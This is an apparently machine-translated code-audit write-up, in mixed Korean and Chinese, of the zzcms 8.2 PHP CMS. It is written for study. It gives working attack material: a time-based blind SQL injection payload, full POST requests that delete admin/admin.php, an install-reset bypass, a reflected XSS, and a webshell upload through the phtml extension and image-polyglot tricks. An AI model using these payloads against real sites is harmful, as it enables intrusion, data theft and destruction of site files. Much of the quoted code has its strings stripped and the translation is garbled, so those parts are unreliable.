코드 감사 | zzcms8.2

클릭 구독 우리가     함께 성장하고 메이크업 보안 너무 멋진 빨간색  

zxr5x7nghc.gif

생산 된 레드 안전 | 무단 전재 소스를 표시하시기 바랍니다

기술, 아이디어, 그리고 연구와 교류의 목적으로 사용하는 경우에만 안전 텍스트에 관련된 도구, 어떤 사람은 불법적 인 목적과 상업적 목적, 또는 다른 곰 결과에 사용되어서는 안된다! (출처 : 붉은 태양 안전)



코드 감사 예 1.2 : zzcms8.2

머리말

코드 감사는, 가장 중요한 것은 코드를 읽는 것입니다, 로컬 사이트와 사용자의 상호 작용은 특별한주의를 기울여야한다. 감사를 실시하고, 우리는 또한 효율성을 개선하기 위해, 우리가 감사 작업을 수행하는 데 도움이되는 몇 가지 도구를 사용할 수 있습니다. 다음, 나는 감사 zzcms8.2의 과정을 공유하고, 우리는 함께 공부합니다. 여기서 우리는 seay 소스 코드 감사 시스템 소프트웨어 보조 작업을 사용합니다.

1.2.1 감사 프로세스

우선, 내가 오픈 소스 코드 감사 시스템 소프트웨어를 seay 사이트는 감사 가져 오기 소스 프로젝트, 그리고 후 자동 감사를 클릭합니다. 감사가 완료되면, 우리는 확인 하나 자동 감사, 하나의 결과가 필요합니다. 물론, 우리는 정말 당신이 어딘가에는있을 수 있습니다 생각한다면 당신은, 당신이 다음 스캔 보고서, 취약점 세부 사항을 볼 수있는 특정 파일을 열고, 허점이있는 것이 가능 여부를 확인할 수 있습니다, 과거를보기 위해 각각의 파일을 열 필요가 없습니다.사진 64.png

코드에서 변수 나 함수의 특정 위치를 확인하려면, 당신은 또한 신속하게 특정 파일을 찾습니다, 소프트웨어가 발견 할 것이다 글로벌 위치 검색을 사용할 수있는이 기능은 크게 우리의 감사의 속도를 가속화 할 수 있습니다. 사용자와 데이터베이스 백엔드 작업에서 데이터의 경우, 우리는 특별한주의를 지불합니다. 여기에 저자는 감사 과정 zzcms8.2에 대해 설명합니다.사진 65.png

1.2.2 전투 zzcms8.2

1.2.2.1 SQL 인젝션 취약점

우선, "/user/del.php"처음 두 줄은 "/inc/conn.php","/user/check.php"을 두 개의 파일을 포함하고는 "/inc/conn.php"도 문서의 수를 포함 여기서 관심은 "/inc/function.php"와 "/inc/stopsqlin.php"입니다. 여기서 "/inc/function.php는"기능 키의 기능의 일부를 제공하고, "이 /inc/stopsqlin.php"SQL 주입을 방지하기 위해 포함된다.

(zzcmsroot.); 
(zzcmsroot.); 
(zzcmsroot.); 
(zzcmsroot.); 
(zzcmsroot.); 
(zzcmsroot.);

"/Inc/stopsqlin.php"파일 데이터가 요청에 대한 필터링됩니다, 특정 코드는 다음과 같이

{
(!is_array($string)){
(get_magic_quotes_gpc()){
 htmlspecialchars(trim($string));
}{
 addslashes(htmlspecialchars(trim($string)));
}
}
($string as $k => $v) $string[$k] = zc_check($v);
 $string;
}
($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
{
$sql_injdata = ;
$sql_inj = explode(,$sql_injdata);
 ($i=; $i< count($sql_inj);$i++){
 (@strpos($str,$sql_inj[$i])!==){
showmsg (.$sql_inj[$i].);
}
}
 $str;
}

我们来看一下”/user/check.php”函数是否存在可利用的地方,这个文件中有 5  处 SQL  语句查询,第一处,无法利用,因为首先参数经过”/inc/stopsqlin.php”消毒处理,且被单引号包裹,无法闭合。

=nostr([]);
=query(...[].);=num_rows();

剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。

query(.getip()..$username.);

{
 (getenv() &&
strcasecmp(getenv(), ))
$ip = getenv();
  (getenv() &&
strcasecmp(getenv(), ))
$ip = getenv();
(getenv()&&strcasecmp(getenv(),
))
$ip = getenv();
  (($_SERVER[]) && $_SERVER[]
&& strcasecmp($_SERVER[], ))
$ip = $_SERVER[];

$ip = ;
($ip);
}

那么我们直接用sqlmap跑一下,这里我事先注册好了test用户密码为test,zzcms将用户的密码经md5加密后存在数据库中,结果如下:사진 66.png

那么最后剩下的3处sql语句都无法利用,继续往下看。

query(" zzcms_user  totleRMB = totleRMB+ 
username=    zzcms_pay (username,dowhat,RMB,mark,sendtime)
(,,,,Y-m-d H:i:s) zzcms_user  lastlogintime = Y-m-d H:i:s
 username=

在130多行处,我们发现有一个sql语句直接将$tablename变量直接进行拼接了,而这个$tablename 变量可直接从 post  方式获取,代码未经任何过滤直接拼接,从而引发了sql注入。

 (strpos($id,)>)
$sql=.$tablename..$id .;

$sql=.$tablename.;
作者vr_system于--发表了ZZCMS   v8. 最新版SQL注入漏洞
(http:.freebuf.com/vuls/.html) 一文,文中使用的payload 为:
id=&tablename=zzcms_answer where id =  
((ascii((user(),,)) =),(),)

但是这并不是一个通用 payload,因为如果 zzcms_answer  是一个空表,则该 payload 无法利用,所以我们改进一下,payload  改成如下即可,这里注意不能使用大于号、小于号,因为    post  上来的数据被  addslashes()、htmlspecialchars()、trim()三个函数消毒处理过了。id=1&tablename=zzcms_answer where id=999999999  union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#사진 67.png

在”/user/logincheck.php”、”/admin/logincheck.php”中也存在多处由ip导致的sql注入,这里就不一一列举了。

1.2.2.2  任意文件删除漏洞


该漏洞发生在80多行处的变量,该变量直接由与oldimg拼接而得,并未过滤.和/字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让不等于oldimg,且$action等于”modify”即可。

# ”/user/adv.php”文件
…….
if (isset($_REQUEST["img"])){
$img=$_REQUEST["img"];
}else{
$img=“”;
}
if (isset($_REQUEST["oldimg"])){
$oldimg=$_REQUEST["oldimg"];
}
else{
$oldimg=“”;
}
…….
if ($action==“modify”){
query(“update zzcms_textadv set
adv=’$adv’,company=’$company’,advlink=’$advlink’,img=’$img’,passed=0
where username=’”
.$_COOKIE["UserName"].“‘”);
if ($oldimg<>$img){
$f=“../”.$oldimg;
if (file_exists($f)){
unlink($f);
}
}
…….
}

payload如下:

POST /user/adv.php?action=modify HTTP/1.1







like Gecko) Chrome/62.0.3202.62 Safari/537.36

xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8




PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;

adv=tettste&advlink=/zt/show.php?id=1&company=测试
&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83

사진 68.png

同样的漏洞发生在”/user/licence_save.php”30多行处

........
 ($oldimg<>$img && $oldimg<>){
$f=.$oldimg;
 (file_exists($f)){
($f);
}
........
}
........

payload如下:

POST /user/licence_save.php?action=modify HTTP/1.1


like Gecko) Chrome/62.0.3202.62 Safari/537.36


text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,ima
ge/apng,*/*;q=0.8



bdshare_firstime=1518262531074;
PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;



id=1&oldimg=admin/admin.php&img=t

该 漏 洞 还 存 在 于 “/user/manage.php” 、 “/user/ppsave.php”  、”/user/zssave.php”、等文件中。

1.2.2.3  网站重装漏洞

来看一下”/install/index.php”文件的代码流程,发现这里并没有检测”/install/install.lock”文件是否存在,那应该是在其他文件中。

<?php
switch($step) {
 协议
 .$step.;
;
 环境
........
 .$step.;
;
 查目录属性
 .$step.;
;
 建数据库
 .$step.;
;
 安装进度
........
 .$step.;

然 而 发 现 , 只 有 “/install/step_1.php” 文 件 在 开 头 有 检 测”/install/install.lock”文件是否存在(存在表示已经安装过),其他”/install/step_2.php”、”/install/step_3.php”、”/install/step_4.php”、”/install/step_5.php”、”/install/step_6.php”都少了该判断导致该漏洞的发生。

if(file_exists("install.lock< =>安装向导已运行安装过,如需重安
装,请删除 //install.lock 文件</>

所以我们可以跳过第一步的检测,直接访问”/install/step_2.php”文件,payload如下:

POST /install/index.php HTTP/1.1


like Gecko) Chrome/62.0.3202.62 Safari/537.36


text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,imag
e/apng,*/*;q=0.8






step=2

사진 69.png

1.2.2.4 反射型 XSS

该漏洞出现在”/inc/top.php”文件中,需要用户登录方可利用。之前的大部分文件都会在开头包含” /inc/conn.php”文件,对 REQUEST  数据进行消毒处理,而这个文件没有,从而导致漏洞的发生。我们只需要将标签闭合即可实现反射型xss。

 (@$_POST[]==){

.@$_POST[]..@$_POS
T[].;
}
 (($_REQUEST[])){
$siteskin=$_REQUEST[];
}
.......

사진 70.png

同样的漏洞还出现在”/uploadimg_form.php”文件66-67行处,这里不赘述。

1.2.2.5  文件上传漏洞

“/uploadimg_form.php”文件提供了一个文件上传的功能,然而这里没有过滤好,导致可以上传webshell。我们可以来看一下后端代码是如何进行验证的。

{

 (!is_uploaded_file(@->fileName[tmp_name])){
; ;
}

 (->max_file_size* < ->fileName[]){
 .->max_file_size.;;
}

 (!in_array(->fileName[], ->uptypes)) {
 ;;
}

$hzm=strtolower(substr(->fileName[],strpos(->fi
leName[],)));
 (strpos($hzm,)!== || strpos($hzm,)!==
||strpos($hzm,)!==){
 .$hzm.;;
}
......
}

首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析。所以我们可以构造payload如下,当然,使用copy命令生成的图片***也可以绕过(例如:copy test.jpg/b+test.php shell.jpg)사진 71.png사진 72.png


1.2.2.6  结束语

물론, 당신은 또한 오랫동안 자신만큼, 감사 지원하기 위해 다른 도구를 사용할 수 있습니다, 감사에 도움이됩니다. 이 작은 CMS를하지만, 초보자 코드 감사에 대해 더 읽어보고 있지만, 나는 생각한다. 프로세스 감사 작은 CMS는 경험의 축적의 과정에있다,뿐만 아니라 대규모 침구에 대한 우리의 감사 프레임 워크의 미래. 여기에 우리가 책 "코드 감사 - 기업 웹 코드 보안 아키텍처"를 추천하고 네트워크 코드 감사, 가장 중요한에 대한 자세한 사례를 볼뿐만 아니라, 다시 자신을 감사, 난 당신이 감사의 코드를 가지고 배울 수있는이 끝을 희망 도움.

? mpzbe7q6xv.jpg Q 서명 알고리즘 = SHA1 및 Q-AK = AKID2uZ1FGBdx1pNgjE3KK4YliPpzyjLZvug 및 Q-로그인 시간 = 1585015746, 1585022946 & Q 키 시간 = 1585015746, 1585022946 및 Q-헤더 목록 = Q-URL-PARAM 목록 = Q 서명 = 273bcd5e621cdc2bc9760be41f86001c4eaa6659

 

대규모 안전은 물론 시청하는 아래 링크를 클릭 http://qiyuanxuetang.net/courses/를


추천

출처blog.51cto.com/14697379/2481227